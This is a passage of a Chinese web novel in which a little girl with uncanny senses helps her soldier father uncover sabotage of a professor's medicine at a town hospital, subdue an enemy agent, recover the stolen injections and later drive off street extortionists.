“嗯?”梁哲还沉浸在巨大的压力中,一时间没回过神。
周师傅却猛地转过了头,“小姑娘,你说什么?药不是老鼠弄坏的?难道,难道还能是我吗?**了一辈子药房的工作,可,可从来没出过这种差错啊!”
他比谁都想洗清自己的冤屈,可这小姑娘的话,像是要把黑锅直接扣在他头上。
“院长,您把我送派出所吧!我愿意接受调查,让组织还我清白!”
“老周,你先别激动。”院长看着他涨红的脸,生怕这上了年纪的人急出病来,急忙劝道,“这孩子才几岁,随口一说的话,你别当真。”
“哎,你可不能这么说!”宋大壮一听这话不高兴了,立刻站起身挡在甜甜身前,护犊子似的说道,“别看我们甜甜年纪小,她从来不说瞎话!每次说的话都灵得很,她说不是老鼠打碎的,就一定不是!”
院长也急了,这“故意弄坏药”的帽子,他们可万万不能背。“这位同志,话不能这么说吧?大家都亲眼看见了,老鼠身上粘满了药剂和碎玻璃,掉落的角度也对得上。不是老鼠偷药瓶,放得好好的药怎么会碎?”
“那可不一定!”宋大壮眼睛一瞪,语气里满是怀疑,“这药早不碎晚不碎,偏偏赶上钱老要用它救命,就突然碎了?哪有这么巧的事!”
“你这是什么意思?难道怀疑我们是故意的?”院长的脸色也沉了下来,语气带着质问。
“都别吵了!”眼看两边又要起冲突,梁哲及时抬起手,止住了争论。
他走到药柜前细看:上层十余支药剂完好无损,唯独中间两个托架空了,碎玻璃与药液从上至下洒落,老鼠尸体上也沾满药渍和玻璃碴。
周保管员还在解释,“我一打开柜门,这只老鼠先掉下来了,我这才发现药被打碎了,你们说,要是我弄坏的,我上哪儿现抓只死老鼠放这儿?”
“甜甜,”梁哲看向女儿,轻声道,“你方才说,药不是老鼠弄坏的,那会是谁弄的?”
甜甜还没开口,周围所有人的目光都集中到了她身上。
院长忍不住出声:“乖孩子,你是不是也不知道是谁弄坏的?这事可太重要了,可不能瞎说啊。”
甜甜轻轻咬着手指,认真道:“爷爷,甜甜没瞎说,药药不是鼠鼠弄坏的。”
她迈开小步子,走到那一地狼藉前。那只死老鼠散发着异味,周围的医护人员都下意识地后退了几步,生怕被熏到。
甜甜却像是没闻到味道一样,伸出小手,避开玻璃碴,戳了戳那只死老鼠僵硬的后背。
“鼠鼠,是谁害的你呀?”
这天真的问话让在场的医护人员面面相觑,老周更是跺了跺脚,长叹一声。
这么一个小娃娃,她说的话居然还有大人能信,真是岂有此理。
但基地的众人却全都神色严肃起来。他们亲眼见证过甜甜的特殊能力,知道这小姑娘绝不会无缘无故地和一只死老鼠对话,她一定是从老鼠身上发现了什么线索。
可问题是,老鼠已经**,怎么可能给她答案?
甜甜却毫不在意众人的疑惑,嘴里小声地碎碎念着什么,一会儿低头瞧瞧老鼠,一会儿又扫视着地面。过了片刻,她站起身,指着头顶的药柜,“爸爸,坏掉的药药,还有!”
这话一说,不但梁哲一怔,院长也倒吸一口凉气。
“这孩子不是瞎说嘛,院里所有药品的使用和出入库都有明确记录,维生素C只剩最后两支,更是千真万确!”
院长的胡子气得都要翘起了,“你们要是不信,现在就能调档案核对!”
“院长,你先别激动,让孩子把话说完。”孙军医急忙拦住了院长,转过头看着甜甜,“甜甜,你和孙爷爷说,剩下的药,是在这柜子里吗?”
甜甜摇头,奶声奶气地说:“被高高的叔叔拿走啦。”
“怎么可能,哪来的高高叔叔?”院长皱着眉,满脸不悦。
但这话却引起了周师傅的思索,他沉吟两秒,快步走到桌前翻找起药品支取记录。
甜甜翘着两只小辫子,仰着头给大家解释,“高高
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叔叔,身上有药味。坏坏叔叔来,把鼠鼠,放在药药旁边,然后药药就坏了。”
说着,她绕过药柜,径直走向角落里的一扇小门,脆生生地喊:“爸爸,看!”
这扇门通往护士站,平常被各种柜子挡住视线,只有药房内部的人才知道。可甜甜从来没进过药房,竟能一眼找到这扇隐蔽的小门。院长和周师傅对视一眼,神色都变得有些凝重。
梁哲快步走了过去,其余人也纷纷跟上。果然,那扇门的门缝是虚掩着的,门槛上还留着一个模糊的、像是鞋底蹭过的浅浅痕迹。
院长的脸色瞬间变得严肃无比:“这是谁的脚印?药房是重地,这扇门平常又不启用,谁会从这里进出?”
药房里值班的几名医护人员面面相觑,全都摇了摇头。
院长又追问:“护士站那边有没有人进入过药房?”
护士长上前一步,“院长,药房的门是从内反锁的,我们进不来。而且平常取药,也都走正门或窗**接。”
周师傅过来检查了门锁,又沉吟片刻,“院长,这是备用门,如果真有人想从药房悄悄离开,确实走这里最安全。而且,”他顿了顿,“我刚才翻了下记录,原本应该有4支维生素针剂,但三天前的记录显示就只剩最后两支了,另外两支,被药剂师霍立业取走了。”
“霍立业?他取药有医生的处方吗?”
“他是药剂师,负责按处方配药,我们药房只负责发药,不核对处方原件。”周师傅解释道。
“快去找霍立业!让他把当时的处方拿过来核对!”院长当机吩咐。
小张护士领命而去,没多久便匆匆返回,脸上满是疑惑:“院长,霍医生不在。和他同组的小杨大夫说,霍医生今天一早就没来上班,也没交请假条。”
一丝疑云立刻在众人心头升起,院长猛地回头:“老周,霍立业是不是个子高高、身形偏瘦?”
周师傅一脸凝重,缓缓点了点头。
院长一拍大腿:“快!派人去他家里找!马上!”
第13章 身上好臭!萌娃指认嫌疑人!
“院长,”梁哲出声提醒,“还有另一个人也进入过药房,用死老鼠破坏了药瓶,他和霍立业应该是两个人。”
院长浑身一震,低头看向小小的甜甜,眼神里满是惊诧:“你,你这小娃娃,说的都是真的?”
“甜甜不骗人。”小女孩不服气地撅起小嘴,“甜甜是好孩子。”
“嗯,对,是好孩子……”院长心神震荡,但随即,一股更紧迫的情绪涌上心头,如果真如甜甜所说,只要找到霍立业,说不定就能追回剩余的两支药剂,还能揪出潜藏在医院里的敌特分子。
“去查值班日记,把今天在药房值班的人全都叫来。”
“不止,”梁哲接口,“所有有机会接触药房的人员都要查。”
“对对,通知保卫科!”院长如梦初醒,“马上封锁现场,逐一排查!”
很快,医院里十几名医护人员被全部召集到药房外的走廊。保卫科人员拿着值班记录,逐一询问每个人当天的行踪,有无证人,是否到过药房附近。
“院长,”保卫科科长指着记录册汇报,“除了霍立业缺勤,其他人的行踪都能对应上,暂时没发现异常。”
“果然是霍立业搞的鬼!”院长语气愤愤,正想吩咐增派人手寻找,甜甜已经从梁哲怀里溜了下来,摇晃着小辫子,一步步走向列队的医护人员。
一排穿着白大褂的成年人面前,小小的甜甜只到他们膝盖高,却像个小大人似的慢慢走过,一边走一边吸着小鼻子,在每个人身边轻轻闻了闻。有年轻的女护士见她可爱,想伸手摸摸她的小脑袋,却被她径直躲开;更多人则带着警惕的目光,越过她看向身后身着军装的梁哲和几名神色冷峻的战士。
甜甜走了一圈,最终在一名年轻大夫的脚前停了下来。这人叫杨岩,二十出头,文质彬彬,见甜甜停在自己面前,立刻露出温和的笑容:“小妹妹,你有事吗?”
甜甜仰着头,黝黑的眼珠对上他笑眯眯的瞳仁,那笑意深处,一丝藏不住的寒芒稍纵即逝。
对方明明在笑,笑里的凉意却冷嗖嗖的扎心。
“叔叔。”童真的声音在空旷的走廊里响起,所有人都停下动作,注视着小人儿。
院长面上闪过一抹诧异。
“怎么了?”杨岩声音还是温温和和的,看起来亲切又和蔼。
“你的身上,怎么有鼠鼠的臭味呀?”
状似无意的声音一出,杨岩脸色瞬间变了。
像被人猛地揭下脸上的面具!
他猛地一拧身,大手就向甜甜脖颈抓去!
说时迟那时快,这一下要是抓实了,小小的甜甜立刻就会被他扼得窒息!
但从甜甜走向杨岩的那一刻起,梁哲就已提起十二分警惕。
他身形一闪,动作几乎快出残影,就在杨岩抓向甜甜的刹那间,梁哲已经冲到他面前。
抬腿就是一记狠厉至极的侧踢!
相对宋大壮来说,梁哲的形象并不是满身粗粝煞气,他虽然高大坚毅,但面相端正,五官英俊,是整个基地少有的俊朗男子。
所以他出现在医院时,要不是因为怀里抱着个小娃娃,又听到娃娃亲口喊他“爸爸”,早已收获不少女医护人员的青睐。
正因为这样,很多人都忽略了,他是个参加多次实战,在尸山血海里练就一身**本领的铁血军人。
从甜甜开始寻找嫌疑人时,他的目光就一错不错地跟在女儿身后,生怕漏下一点微妙线索,而当甜甜站在杨岩身前,踮着小脚尖和他对话时,梁哲几乎瞬间就可以肯定——这个人,有问题!
这既是父女之间血脉的默契,又是缘于对甜甜的无条件信任。
因此他早就做好万全准备,当杨岩刚一动作的同时,他已经如离弦之箭般冲至,一记侧踢精准无比,正踹在杨岩弯下的手臂上。
“砰!”
闷响伴随着清晰的骨裂声传开,杨岩发出一声凄厉的惨叫,浑身剧痛中却仍不死心,左手猛地向怀中摸去——
只要他动作够快,就能抢在倒地之前把这小丫头揪做人质
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。
可这徒劳的挣扎在梁哲面前毫无意义。
梁哲右腿落地,左腿如鞭子般旋起,一个漂亮的回旋踢正中杨岩胸口。巨大的冲击力直接将他蹬飞出去。
杨岩的身子在地面滑出三米多远,后背重重撞在走廊的门板上,发出“扑通”一声闷响。
“啊——”
走廊里的医护人员被这突如其来的变故吓得惊叫起来,纷纷后退。
杨岩也是个亡命之徒,嘴角浸着鲜血,仍挣扎着要爬起来,不死心地继续往怀里摸。
“喀啦”一声脆响,宋大壮掏出怀中的**,单手推开保险,厉声暴喝:“不许动!”
杨岩的手刚摸到枪柄,就被这声暴喝惊得一僵。他怀里果然藏着一把枪,却已错失先机。
门旁停着一辆医用小推车,上面摆满了瓶瓶罐罐。杨岩眼中闪过一丝狠厉,右脚用力勾住车轮,狠狠推向宋大壮,企图制造混乱趁机夺枪。与此同时,他左手一把拉开门——里面是间医生办公室,正对着两扇窗户,那是他最后的逃跑希望。
门刚打开一半,梁哲右手一翻,一柄制式**已经握在他手里。
他抬腕瞄准,枪口划出一道流畅的弧线,隔着半扇门板,毫不犹豫地扣动了**!
**撕裂空气,发出尖锐的哨音。紧接着——
“咔啦!”
木门瞬间炸开一个大洞,木屑纷飞。
**的硝烟味钻入每个人鼻端,同时伴随着浓烈的血腥气。
杨岩的动作戛然而止,他甚至没来得及发出第二声惨叫,身体在门板后剧烈一颤,便像截烂木头般“扑通”一声栽倒在地,彻底失去了行动能力。
走廊上的医护人员被这雷霆手段吓得魂飞魄散,僵在原地连冷汗都不敢擦。
宋大壮快步上前,一把薅住蜷缩在门后鬼哭狼嚎的杨岩,像拖死狗一样把他拽了出来。
“啊啊啊……放开我!快放开我!”杨岩不住挣扎,受伤的肩膀汩汩冒血,断了的右臂无力地垂在身侧,狼狈不堪。
第14章 三枪打不开?宋大壮大怒:把这破门给我炸开
梁哲收枪,一步跨回女儿身边,将甜甜紧紧抱在怀里。
带着枪柄余温的大掌抚在女儿脑后,把她的小脑袋按在自己宽厚的肩头。
“乖,别看。”
他不愿让这人肮脏的鲜血,玷污女儿纯洁的世界。
“说!谁派你来的!”
宋大壮对待敌人从不废话,把人往地上一摔,厉声喝问。
杨岩疼得浑身抽搐,咬牙切齿:“救我……院长,救我啊……”
其余医护人员早已退得远远的,只有院长心生不忍,看向宋大壮和梁哲,“二位同志,谢谢你们找出了嫌疑人,不过,他还在流血,要是失血过多,轻则休克,重则要命啊。”
梁哲脸色阴沉,一言不发,这混帐刚才竟敢对甜甜下手,就是痛死也是活该。
宋大壮冷笑一声,“怕什么,我看这小子皮糙肉厚,流会血死不了,等快不行时,你们再救也不迟,反正人就在你们医院。”
“这……”老院长面露难色,转头看向孙军医求助。
孙军医却直接转过身,压根不搭理。
这种人弄坏了钱老的救命药,没被当场揍死已经是便宜他了。
院长见几位军人态度坚决,也不敢再劝,只好转向杨岩:“杨岩!你快交代,到底是谁指使你这么干的?你为什么要破坏钱教授的药?”
杨岩痛得直吸气,喘着粗气道:“我……我也是受人指使,是霍立业!药房的钥匙是他给我的,他让我打碎药,再把死耗子放上面。事成之后,他说给我十斤白面的粮票……”
“十斤?”院长倒吸一口冷气,“这话你也信?你傻啊,现在哪里能找出十斤白面?咱们镇子上,一斤都翻不出来!你这是被人当枪使了!”
周师傅怒道:“杨岩,我想起来了,一个月前我吃坏了肚子,让霍立业同志替我值一个小时的班,他是不是那个时候偷配了药房的钥匙?”
霍立业是杨岩半个师父,平常对他非常照顾,药房的钥匙要是旁落,十有**就在那个时候。
杨岩马上顺杆爬:“对对,就是他干的。是他偷拿药房里的药去黑市卖钱!现在黑市药价高,霍立业以前是小打小闹,后来嫌赚得少,就想配把钥匙直接进药房拿货!”
梁哲冷笑一声:“就算他要偷维生素C针剂,为什么又要指使你来打翻剩下的药?他自己为什么不动手?”
“这我怎么知道?一定是他不想让钱老教授得到救治……”
“那他又怎么知道我们急缺这两支药救命?是谁泄露的消息?”
“这……”杨岩眼珠急转,一时语塞。
“院长,钱教授来镇医院就诊,是刘司令亲自打的电话,需要的药也是他在电话里单独跟您说的。杨岩他们怎么会知道?”梁哲一针见血地指出关键。
周师傅恍然大悟,“院长,您早上跟我说要调维生素C的时候,杨岩可不就在药房里吗?一定是他听到了咱们的谈话,才起了歹心!”
“不,我没有!”杨岩忍着剧痛,声嘶力竭地否认。
“事情已经很清楚了,”梁哲整合线索,冷静分析,“院长接到电话,将用药需求告知周师傅,周师傅清点库存,发现只剩两支。杨岩趁大家都在前面救治钱教授,潜入药房破坏药剂,再从护士站溜走。自以为神不知鬼不觉。”
“现在的问题是,霍立业在哪?被他偷走的两只药还在不在?”
院长立刻吩咐保卫科干事,“不惜一切代价,一定要连人带药给我找回来!”
“院长,你快放了我吧,我也是一时糊涂,我,我知道错了……”
杨岩蜷缩着身体,疼得不住呻吟,眼见众人要安排抓捕霍立业,他眼中突然闪过疯狂,左手猛地从怀中掏出一把枪!
黑洞洞的枪口径直对准甜甜——
“给老子**!”
眼看着手指就要扣动**,宋大壮动了。
他没有丝毫犹豫,猛地抬起一脚,狠狠踩在杨岩的手腕上。
“啊!”
骨头的碎裂声立刻传来。
杨岩伤上加伤,两眼一黑,彻底昏死过去。
宋大壮俯身拾起**,看清款式后冷笑一声:“好小子,果然是潜入我国搞破坏的臭虫!”
这是一把美制****,绝非国内军方所有。
院长被这惊险的一幕吓得嘴唇哆嗦,“没,没想到,他竟然是敌特分子。”
梁哲沉声吩咐:“孙大夫,别让他**,留着他,还能审出幕后主使。”
孙军医答应一声:“院长,人是你们医院的,该怎么治知道吧?麻药挺金贵的,能省就省。”
院长
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太阳穴突突直跳,苦笑道:“……有道理。”
梁哲看向保卫科科长,“同志,事不宜迟,带我们去找霍立业。”
保卫科科长还没开口,甜甜忽然搂住梁哲的脖子,软糯的声音响起:“爸爸,甜甜知道高高叔叔在哪。”
这简直是天降甘霖!
宋大壮激动得险些欢呼出声,“好孩子,快带我们去找!”
院长瞪大眼睛看着甜甜,感觉世界观受到了巨大冲击:“这……这也太神了吧……”
宋大壮狠狠白他一眼:“少废话,我们只是脑瓜灵光,你可别胡思乱想。”
院长看着他凶神恶煞的眼神,把后半句话咽了回去。
孙军医贴在他耳边低语:“院长,刘司令有令,关于甜甜的事,严禁外传。”
院长也是老**了,立刻心领神会,点头道:“我们心里有数,保证守口如瓶。”
梁哲顺着甜甜小手指的方向,抱起她离开医院大楼,向后院走去。
宋大壮、院长、周师傅和保卫科人员紧紧跟在后面。
“咱们是去找霍立业,怎么还在医院里头转悠?”院长不解地问。
甜甜指了指脚下:“在下面,凉凉的地方,有很多铁管子。”
院长猛地反应过来:“地下室!这是防空洞改造的地下储藏室,以前做过临时冷库!但早就废弃了啊。”
“高高的叔叔,在里面睡觉觉。”甜甜认真地说,“药药和他在一起。”
“院长,事不宜迟!”梁哲当机立断。
院长立刻转身,“跟我来!”
一行人迅速穿过杂草丛生的后院,来到一栋半地下室入口。铁门锈迹斑斑,上面挂着一把沉重的铁锁,旁边立着一块“闲人免进”的牌子。
宋大壮快步走上去,伸手拨了一下锁头,发出咣啷的闷响:“钥匙呢!”
“这……”院长犯了难,这仓库废弃太久,一时半会儿还真找不到钥匙。
宋大壮不再废话,直接从腰间拔出驳壳枪,冲着梁哲使了个眼色。后者默契地捂住甜甜的耳朵。
随后——
“砰砰砰!”
三枪过后,火星四溅,那把生锈的铁锁却依旧纹丝不动。
“妈的!”宋大壮怒气冲冲,回身怒吼,“警卫班!去找**!把这破门给我炸开!”
第15章 爹真牛!爬通风管抢回救命药!
“叔叔!”甜甜忽然开口,成功止住了宋大壮的暴走。
她伸手指着旁边墙一个不起眼的窗口。“这里这里。”
众人依言围拢过去,原来是一个狭窄的通风口,外面竖着生锈的铁栅栏,几个用来固定的螺丝帽已经松脱,宋大壮上前用力一扳,“喀啦”几声,就将栅栏卸了下来。
玻璃被砸开,瞬间涌出一股阴冷的,**发霉的味道。
“这口子太小了,咱们能进去吗?”孙军医皱眉。
甜甜趴在洞口,小鼻子嗅了嗅味道,然后回过头,笃定地说:“爸爸,药药和叔叔,都在里面。”
梁哲和院长交换了一个眼神。他们都猜到,这里很有可能就是霍立业临时存放药品的所在。就是不知为何被反锁在里面了。
“大壮,你看好孩子。我进去。”梁哲脱下军装外套,只穿一件单衣,试了试通风口的尺寸。成年人虽然能勉强挤进去,但要通过管道,行动还是有一定的困难。
“梁团,太危险了!里面情况不明……”
“顾不了那么多了。”梁哲摸了摸女儿的头,“甜甜,告诉爸爸,里面该怎么走?”
甜甜歪着小脑袋,仿佛在努力倾听什么。几秒钟后,她伸出小手在地面上画了起来:“爸爸从这里,向前,再往左边拐,再往下,有一个门,药药就在架子上。高高的叔叔……在旁边的黑影里。”
梁哲不再犹豫,戴好佩枪,接过宋大壮递来的手电筒咬在嘴里,俯身钻了进去。
管道里阴森湿漉,四处结满了厚厚的蛛网,铁锈和尘土不住钻入鼻腔,引得人忍不住要打喷嚏。梁哲按照甜甜指定的路线,尽量缩着肩膀,在狭窄的通道里艰难地匍匐前进。
手电筒的微光轻轻晃动,照着前方魑魅般的黑暗。
大约爬了十几米,果然出现一个向左的岔路。他拐进去,又爬了几米,管道开始向下倾斜。梁哲小心地控制着下滑速度,来到管道尽头,前面是透着微光的隔板。
打开隔板纵身而下,便来到了一座小房间,粗糙的水泥,斑驳的房门,头顶上吊着一盏白炽灯。灯光下堆着一些老旧的仪器和废弃的材料,靠墙的铁架子上,赫然摆放着各种各样的药品。
就在这些药品当中,两支注射液安瓿正完好无损地立在托盘内,标签上是一行小字:维生素C注射液。
找到了!
梁哲大喜,正要上前,眼角的余光却瞥见架子旁边的阴影里,蜷缩着一个人影,他双手缚着麻绳,佝偻着身子一动不动,如果没猜错的话,应该就是霍立业。
梁哲**慢慢靠近,借着手电筒的光,看清了霍立业后脑勺上的伤口,此刻他尚有生命体征,而地上散落着几块带血的碎砖,应该就是被人在身后偷袭放倒时使用的凶器。
至于行凶的人,自然不言而喻。
他不再理会昏迷的霍立业,起身将两支珍贵的药剂用手帕仔细包好,放进贴身的衣袋,随后按原路返回。
敌人自有后续部门处理,现在最重要的是把药安全的送上去。
当梁哲带着一身灰尘和擦伤从通风口钻出来时,众人忽啦一下全都围拢上来。
“怎么样?”院长焦急地问。
梁哲喘了口气,从怀中掏出那两支完好无损的药液,众人定睛一看,全都“啊”的一声,出了口长气。
周师傅更是腿一软,险些瘫坐在地上。
“快!送急诊室!”院长抖着手吩咐。
宋大壮一把接过药剂,再顾不得其他,向着主楼疾奔而去。
好在这一次,再没发生任何意外。
半个小时后,急诊的门再次打开。李医生摘下口罩,脸上终于有了笑容:“注射完成,病人体征开始稳定!维生素正在起效,钱教授度过危险期了!”
走廊里顿时响起压抑的欢呼声!
梁哲靠着墙壁,长长地舒了一口气,这才感觉手臂上的擦伤处火辣辣地疼,一只冰凉的小手擦了擦他脸颊上的灰,甜甜稚嫩的声音软软地问,“爸
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爸,疼不疼呀?”
“不疼。”梁哲笑笑,把女儿紧紧搂在怀里,语气里是劫后余生的欣慰:“甜甜,多亏了你,才能找到药,救了钱爷爷。”
院长拿着药棉走过来:“梁同志辛苦了,我帮您处理一下伤口吧。”
在用磺伏和药棉消炎的过程中,院长又简单介绍了下后续情况:“我们已经在杨岩身上找到了地下仓库的钥匙,初步判断是两人分赃不均,他才打伤霍立业,又把他关进了地下室。至于为什么要害钱老,现在两个人都在抢救,等他们苏醒了,我们会移交给**部门详细审理。”
“今天这事儿我已经向上级做了紧急汇报。药品被盗是严重的敌特破坏事件,万幸在你们协助下及时追回,没造成无法挽回的损失。我代表全体医护人员,感谢你们,更要感谢甜甜小同志。”
他顿了顿,似乎还有客套话要讲,梁哲及时出言打断:“院长,感谢的话先不必说。现在只是过了第一关,后续钱教授的身体调理,还需要你们全力跟进。”
“是是是,你说得对。不过……”院长面露难色,梁哲一眼看穿他的顾虑,补充道:“我知道眼下院方药品稀缺,还请您尽快向市里、省里申请调拨,务必把钱教授的身体治好。”
“放心吧!”院长郑重地点了点头,“我们一定倾尽全力,绝不辜负组织的信任和基地的托付!”
现在钱教授的病情已经得到了控制,梁哲等人在医院也帮不上更多忙。他和宋大壮商议后,决定让孙军医留在医院协助治疗,宋大壮带着战士守护钱教授安全,自己则和甜甜去供销社,为基地的专家们采购营养品。
“专家们身体都亏空得厉害,我去供应社看看,有没有什么适合大家的补品。”
宋大壮点头:“供销社离医院就隔几条街,你们不用着急回来,带孩子多逛一会,再买点她爱吃的零嘴。”
梁哲拍拍他的肩头,和院长打过招呼,便抱着甜甜离开了医院。
第16章 解气!混混围堵单身女,军爸携娃霸气救场
镇子不大,有着典型的大西北风貌。水泥路面,低矮瓦房,空气中充满了干燥和风沙气息。这里最常见的就是各种红色旗帜,墙上刷着“自力更生,艰苦奋斗”等红色标语,旗杆上的大喇叭正播放着激昂的**歌曲。
来往行人衣着质朴,偶尔有几辆自行车驶过,留下一串悦耳的车铃声。
“爸爸,我们去哪儿呀?”甜甜搂着爸爸的脖子,好奇地打量着陌生的街景。
“去给叔叔伯伯们买点好吃的。”梁哲温声回答,心里盘算着到底能买点什么。
鸡蛋糕?麦乳精?还是红糖?就是不知道有没有这些商品的供应。
刚走过一条街,一个瘦高身影忽然自街角一闪,直直朝着梁哲父女俩撞过来!
梁哲反应极快地侧过身子,同时手臂一收,将怀里的甜甜护得严严实实。那身影收势不及,脚下一步踏空,自己给自己绊了个跟头,扑通一声摔在地上,砸起一片灰土。
“哎哟!”
那是个二十出头的小混混,穿着灰色套头毛衣,烫着羊毛卷,一双三角眼目光闪烁。他揉着胳膊爬起来,嘴里怒骂道:“**!你小子走路不长眼……”
话说到一半,他已看清梁哲身上笔挺的军装,后面的话顿时噎在喉咙里。脸上蛮横的表情迅速褪去,转而换上一副若无其事的样子。他摸摸鼻子,轻咳一声侧身便走,嘴里嘟囔一句:“真**晦气。”
甜甜趴在爸爸肩头,看着小混混骂骂咧咧地走开,奇怪地问:“爸爸,大哥哥没撞到你,怎么自己生气啦?”
梁哲顺着他的身影望去,只见街角还蹲着几个混混模样的人,嘴里叼着烟,不怀好意地打量着往来行人——显然是在物色碰瓷敲诈的对象。
他犹豫了几秒,决定先不横生枝节,等采购完营养品,再找当地**部门反映情况。
这些家伙做的长期勾当,要找到他们应该不难。
正打算抱着甜甜离开,身后突然传来一声夸张的惨叫。
梁哲回头,只见方才撞向自己的年轻人跌坐在地,一手捂着脚,一手指着面前的女子哇哇大叫。女子穿着整洁的深蓝色列宁装,乌黑的头发梳成两只辫子,眉目清秀,皮肤白皙,斜挎着一个帆布包。
她皱着眉,面带怒容:“同志,我明明一直在好好走路,是你自己主动撞过来的。”
“胡说!就是你撞的我,你当大伙都看不见吗?”小混混捂着脚,夸张地哀嚎,“我这腿肯定是折了!你得给我赔钱治病!”
女子显然没想过他是个无赖,气得脸颊微红:“你简直是无理取闹。我们一起去派出所,让**同志主持公道。”
“派出所?吓唬谁呢!”小混混见她文弱秀美,又是单身一人,更加嚣张,“少废话,拿钱!不然和你没完!”说着,抬手就去抓她的包。
“你这是**!”女子又惊又怒,紧紧攥着包往后退,可她力气不如年轻男子,眼看布包带子都被抻长了。
小混混见她不肯松手,脸色一沉,向身后使了个眼色。原先蹲在街角抽烟的几个混混立刻围了上来,将她团团围住。
“我说大妹子,撞了人还不赔钱,你挺横啊?”
“看你这打扮也是体面人,不会想赖账吧?”
“赶紧拿十块钱,再给点粮票,你拎这么大个包,不会没钱吧?”
女子被他们缠住,气得微微颤抖:“你们是一伙的!光天化日,还有没有王法了?”
这一切都被梁哲看在眼里。眼见这伙人如此欺负一位单身女同志,心中不禁涌起怒意。
怀里的甜甜小声说:“爸爸,那个坏哥哥骗人。是他自己故意摔的。”
梁哲当然心知肚明,他低声问女儿:“甜甜觉得该怎么办?”
甜甜毫不犹豫地伸手一指,声音清脆:“哥哥坏,爸爸帮阿姨!”
得到女儿的“指令”,梁哲微微一笑:“好,听甜甜的,咱们去帮阿姨。”
眼看那群混混就要把包夺过去,梁哲不再犹豫,几个箭步冲到近前,抬手一把攥住其中一人抢包的手腕。
“啊——!”那人只觉得手腕像被铁箍勒住,剧痛传来,登时一声惨叫。
梁哲手上加力,像提小鸡崽似的把他从地上拎了起来,冷喝道:“光天
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化日,敲诈勒索还敢抢东西?你胆子不小!”
那人先是一惊,看清对方是军人后魂都吓飞了一半,刚想认怂道歉,旁边的同伙却大叫一声:“他就一个人,还抱着个孩子!大伙别怕,一起上!”
这小子一听,顿时恶向胆边生,空出的一只手二话不说就朝梁哲面门打去!
梁哲将甜甜往怀里一搂,侧头避开拳风,同时抓着对方手腕猛地一抡——那人像是只破麻袋般,整个人被“嗖”地甩了出去,重重摔在三四步之外,疼得直翻白眼。
其余几人一看同伴吃了亏,大喝一声,连同刚才还“腿折了”的小混混一齐嚎叫着扑了上来,有人顺手还抄起墙角的木棍。
“当兵的了不起啊?多管闲事!揍他!”
“爸爸小心!”甜甜惊呼一声。
“甜甜别怕,闭上眼。”梁哲快速叮嘱一句,随即如疾风般侧身,一记凌厉的侧踢,将冲在最前面的混混一脚踹飞出去。
“哎哟——”那人猝不及防,五脏六腑瞬间翻了个,趴在地上半天爬不起来。
第二人挥拳打到,梁哲不闪不避,左手闪电般探出,精准扣住那人腕脉,反向一扭,顺势将他推向第三人。
两人惊叫着撞成一团,一起摔了个狗啃泥。
第四人见占不到便宜,凶狠的眼神掠过一丝杀机,竟避开梁哲,高举木棍朝他怀里的甜甜砸了下去!
他早就看准了梁哲身手了得,只有怀里的小女孩是软肋。
梁哲眸中寒光暴闪,飞起右腿,正中棍身中段。那混混只觉得一股大力传来,虎口登时崩裂,木棍脱手飞出老远。
不待他反应,梁哲踏步上前,一记肘锤撞在他肋下,那人闷哼一声,捂着肋骨跪倒在地,嘴里呛出一口鲜血。
剩下最后一个假装受伤的混混,见同伙眨眼间被全部放倒,登时吓得魂飞魄散,转身就要脚底沫油。梁哲脚尖一挑棍子飞起,他回手抄住看也不看,猛地向后掷出——
木棍在空中划出一道弧线,精准砸在混混后脑勺上,把他“哎哟”一声砸翻在地。
这回是真的爬不起来了。
第17章 街头惩恶!梁哲雷霆出手,供销社购物遭抬价
从出手到结束,用时还不到一分钟,五个混混东倒西歪地躺了一地,每个人都惨叫不止。
甜甜从爸爸怀里探出小脑袋,看着满地的坏人,拍着小手欢呼:“爸爸好厉害!爸爸把坏蛋都打趴下啦!”
梁哲笑着摸了摸女儿脑袋。
围观群众见状,纷纷鼓掌叫好:“打得好!让这几个小子天天惹事!”
“这些祸害早该抓了!”
小混混们见势不妙,连滚带爬地跪地求饶:“同志,我们错了!再也不敢了!求您高抬贵手饶了我们吧!”
梁哲冷冷扫了他们一眼。这种街溜子他见得多了,油滑刁钻,欺软怕硬,今天若不彻底收拾了,转头就会继续惹事。他不再理会这群混混,转向一旁的女子:“同志,你没事吧?”
女子显然被刚才电光石火般的打斗惊住了,她看向梁哲,眼中闪过一抹复杂情绪,随后定了定神,向梁哲摇头微笑:“我没事,谢谢你啊同志!要不是你,我这包今天就被他们抢走了。”
“举手之劳而已。”梁哲摆摆手,视线转向地上那几个混混,冷喝道:“年纪轻轻,有手有脚,不想着为国家建设出力,尽干这些欺压群众、扰乱治安的勾当,还想逃脱法网?”
这时,附近的**接到群众报案,急匆匆赶来,见状立刻将这群混混铐了起来。带队的**向梁哲敬礼道:“同志,太感谢你了!这几个是街面上的老油子,平时无恶不作,今天终于人赃并获了!”
周围群众闻言,掌声和议论声更响了,看向梁哲的眼神充满钦佩。
女子再次向梁哲郑重道谢,随后目光落在他怀里的甜甜身上,眼神瞬间柔和下来:“小朋友,刚才吓着没有呀?”
甜甜摇摇头,一脸骄傲地说:“才没有!我有爸爸保护,爸爸最厉害了!”
女子被甜甜天真可爱的模样逗笑了,她从帆布挎包里拿出一本装帧厚实的书册,递向甜甜:“阿姨是《西北建设报》的记者,叫沈若文。这本《常见动植物图鉴》是我们报社资料室编印的,里面有很多动植物的图画,还标了名字和用处,送给小朋友当个图画书看,算是我的一点心意。”
梁哲本想婉拒陌生人的礼物,但听到“动植物”、“名字和用处”这些字眼时,心中不禁一动。甜甜虽有特殊能力,但毕竟年纪小,认识的东西有限,很多时候无法准确分辨基地急需什么。若是她能通过这本书了解更多的事物,或许对她更有利。
他低头看向女儿。甜甜已经好奇地接过了书本,很快就被里面色彩鲜艳的图画吸引,看得津津有味。
“谢谢漂亮阿姨!甜甜很喜欢!”
沈若文温柔地摸了摸甜甜的小脸蛋,又转向梁哲,面露微笑:“同志,我想就今天这件事对您做一个简单的采访。我们《西北建设报》正需要这样体现军民鱼水情的鲜活素材,不知道您方不方便?”
梁哲眉头一皱,心头响起了警铃。他接受过严格的保密训练,有着高度的警惕感和自律性,就算对方举止得体,理由正当,他也绝不会接受任何采访,更不可能泄露任何与基地相关的信息。
他果断地摇了摇头,“抱歉了沈记者,我们有严格的纪律规定,不允许接受私人采访,请恕我不能同意。”
沈若文似乎早有预料,不但没有被拒绝的生气,反而理解地点了点头:“明白,纪律严明是军队的优良作风,是我考虑不周了。”
